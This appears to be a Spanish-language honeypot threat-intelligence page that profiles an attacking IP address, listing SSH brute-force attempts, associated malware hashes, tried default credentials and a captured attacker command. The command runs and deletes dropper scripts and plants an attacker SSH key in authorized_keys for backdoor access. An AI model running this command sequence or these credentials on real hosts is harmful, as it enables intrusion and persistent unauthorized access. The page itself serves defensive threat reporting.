⚠TROYANOSYVIRUS
Amenaza Activa • MEDIO

130.12.180.51

Primera Deteccion28/12/2025
Ultima Actividad30/12/2025
ISPRailnet LLC
🎯
91
Ataques Totales
🔌
1
Puertos
📡
1
Tipos Ataque
🦠
7
Malware

Geolocalizacion

Pais
🇺🇸 United States
Ciudad
Desconocida
ASN
AS214943
ISP
Railnet LLC

Tipos de Ataque

cowrie

Puertos Atacados

22

Malware Asociado

048e374baac36d8cf68d...→3625d068896953595e75...→783adb7ad6b16fe9818f...→dbb7ebb960dc0d5a480f...→d46555af1173d22f07c3...→

Credenciales Intentadas

🔐admin/admin
5x
🔐root/password
4x
🔐root/P
2x

Comandos Ejecutados

$chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtB4x

Evaluacion de Riesgo

50
/100
BajoMedioAltoCritico